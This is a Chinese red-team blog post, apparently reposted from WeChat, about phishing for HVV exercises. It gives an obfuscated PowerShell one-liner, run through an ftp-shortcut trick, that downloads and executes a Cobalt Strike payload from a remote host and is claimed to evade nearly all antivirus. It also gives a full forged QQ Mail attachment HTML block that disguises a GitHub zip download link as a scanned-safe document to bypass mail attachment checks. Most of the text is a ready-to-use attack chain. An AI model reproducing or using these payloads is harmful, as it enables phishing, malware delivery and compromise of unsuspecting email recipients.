【HVV2022】邮件钓鱼bypass附件检测&&杀软一把梭

admin 2022年6月28日10:21:12HW&HVV评论51 views3670字阅读12分14秒阅读模式

0x01 前言

先申明利益相关方,本文章仅为思路分享,品牌关键处会打码处理,不过确实挺有意思的,某护也快开始了,希望能够提供一些借鉴意义


0x02 ByPass AV

将恶意文件,上传到github项目

https://github.com/punch0day/cs_test

【HVV2022】邮件钓鱼bypass附件检测&&杀软一把梭

有经验的师傅,一眼就可以看出,这是Link钓鱼

但是某压缩包是检测为安全的

【HVV2022】邮件钓鱼bypass附件检测&&杀软一把梭


【HVV2022】邮件钓鱼bypass附件检测&&杀软一把梭


VirusTotal全球57家厂商,只有1家能够检测出来,过国内所有杀软不在话下,篇幅原因,powershell混淆技巧不细讲,师傅们可以先关注我,留作下次分享


源码如下:

aaa.dll#ftp快捷方式运行时,会加载此dll!cmd /c po^we^rs^he^ll -ex^ec b^yp^ass .bbb.ps1
bbb.ps1#cs上线powershell.exe -nOp -w hIdDEn -c $ExeCuTiOnCoNtExT.InvOkeCoMmAnD.NeWScriPtBlOcK("IE##X ((nE##w-ObJe##ct ('nE##T.wEB##cLiEnT')).('doWnl##OadStRiNg').inVo##KE('ht'+'tp:/'+'/19'+'2.16'+'8.20'+'6.1'+'32:8'+'0/a'))".Replace("##",""))

【HVV2022】邮件钓鱼bypass附件检测&&杀软一把梭


快捷方式改为以上这样就行了,原理上是利用了ftp命令模式下,输入!会命令执行,这个是其他师傅的方法,非原创,但是bypass是自己做的


【HVV2022】邮件钓鱼bypass附件检测&&杀软一把梭


只要一打开快捷键,立马cs上线


【HVV2022】邮件钓鱼bypass附件检测&&杀软一把梭


参考文献:2022HVV系列】|9-红蓝对抗之钓鱼篇:常见钓鱼思路总结https://www.77169.net/html/291698.htmlPowerShell攻击的混淆方法总结http://www.mchz.com.cn/cn/service/Safety-Lab/info_26_itemid_3320.html


0x03 ByPass 邮箱附件检测

上传到github上后,选择将code下载为zip格式,下载到本地后,找到游览器的历史下载记录,并复制下载链接

https://codeload.github.com/punch0day/cs_test/zip/refs/heads/main


打开某邮箱,找到一个带有附件的邮件

【HVV2022】邮件钓鱼bypass附件检测&&杀软一把梭


复制附件的html代码

【HVV2022】邮件钓鱼bypass附件检测&&杀软一把梭


发送邮件,进行测试,选择“格式”插入html,粘贴html代码

【HVV2022】邮件钓鱼bypass附件检测&&杀软一把梭


找到“下载”的<a>标签 进行修改 改为<a href=”刚才github的下载链接”>


整个payload如下:

<div id="qm_con_body"><div id="mailContentContainer" class="qmbox qm_con_body_content qqmail_webmail_only" style="opacity: 1;"><div id="attachment" a="" b="false" style="padding:2px;" class="attbg" ui-type="attCon"><div style="padding:6px 10px 10px 8px;" class="txt_left"><div style="height:14px;">            <b style="font-size:14px;"><img src="https://rescdn.qqmail.com/zh_CN/htmledition/images/spacer1e9c5d.gif" align="absmiddle" class="ico_att showattch" border="0" style="margin:-3px 2px 0 0;">附件</b>(<span id="attachmentCount">1</span> 个)</div></div><div style="padding:0 8px 6px 12px;background:#fff;_height:60px;line-height:140%;"><div class="graytext clear" style="padding-top:12px; padding-bottom:5px"><span style="color:#000;font-weight:bold;font-size:12px;">普通附件</span>                <span id="span_ZL0012_1yrN1r~M_twu3KkAAIjVLc5_safe"> (<span class="ico_Avira"></span>已通过电脑管家云查杀引擎扫描)</span>                        </div><div class="att_bt attachitem"><div class="ico_big"><a id="AttachIconAZL0012_1yrN1r~M_twu3KkAAIjVLc50" attach="1" attid="请重点关注.docx" viewmode="doc" url="/cgi-bin/viewdocument?sid=lGnwl-6PmrgMcwZk&amp;filename=1.docx&amp;mailid=1&amp;retry=true&amp;t=attachments_content&amp;ef=qfunc&amp;s=yozo&amp;fromattach=1" ck="previewAttach2" idx="0" filename="请重点关注.docx" down="/cgi-bin/download?mailid=1&amp;filename=1.doc" iconurl="/zh_CN/htmledition/images/xdisk/ico_mid/fu_doc.gif" filebyte="15360" sparse2onlinedocurl=""><img style="width:auto;" src="/zh_CN/htmledition/images/xdisk/ico_mid/fu_doc.gif"></a></div><div class="name_big">            <span player="/cgi-bin/download?mailid=1&amp;filename=1.docx&amp;sid=1">请重点关注.docx</span><span class="graytext">&nbsp;(15K<span id="span_attachIndex_ZL0012_1yrN1r~M_twu3KkAAIjVLc5_cd690305b12fa8de1acdd0ee2fc76181" style="display:none"><span style="color: #C00;">附件包含病毒,请勿下载打开 </span></span>)</span><div class="down_big"><a ck="previewAttach" select="1" sparse2onlinedocurl="" down="/cgi-bin/download?mailid=1&amp;filename=1.docx&amp;sid=1">预览</a>&nbsp; <a href="https://codeload.github.com/punch0day/cs_test/zip/refs/heads/main">下载</a>&nbsp;&nbsp; <a style="" flag="0" class="needSetFlag" attachkey="1|1.docx|1.docx|15360"><span>收藏</span></a><span style="display:none;" class="graytext"><span>已收藏, </span><a>查看</a></span>&nbsp;&nbsp; <a ui-type="netdiskBind" attid="1|1|1" class="netdisk_hide"><span>转存</span><span class="bind_down_icon"></span></a></div></div></div></div></div></div></div>


【HVV2022】邮件钓鱼bypass附件检测&&杀软一把梭



亲测可行,不管是企业邮箱,个人邮箱,桌面端,移动端,全部都是本地直接下载,附件不会经过邮箱的任何安全检测,直接bypass!



欢迎关注我的公众号:韬光养晦安全
红蓝对抗日常分享,带给你国际安全视野

【HVV2022】邮件钓鱼bypass附件检测&&杀软一把梭


原文始发于微信公众号(韬光养晦安全):【HVV2022】邮件钓鱼bypass附件检测&&杀软一把梭

特别标注: 本站(CN-SEC.COM)所有文章仅供技术研究,若将其信息做其他用途,由用户承担全部法律及连带责任,本站不承担任何法律及连带责任,请遵守中华人民共和国安全法.
  • 我的微信
  • 微信扫一扫
  • weinxin
  • 我的微信公众号
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年6月28日10:21:12
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                  【HVV2022】邮件钓鱼bypass附件检测&&杀软一把梭 http://cn-sec.com/archives/1139395.html

发表评论

匿名网友 填写信息

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: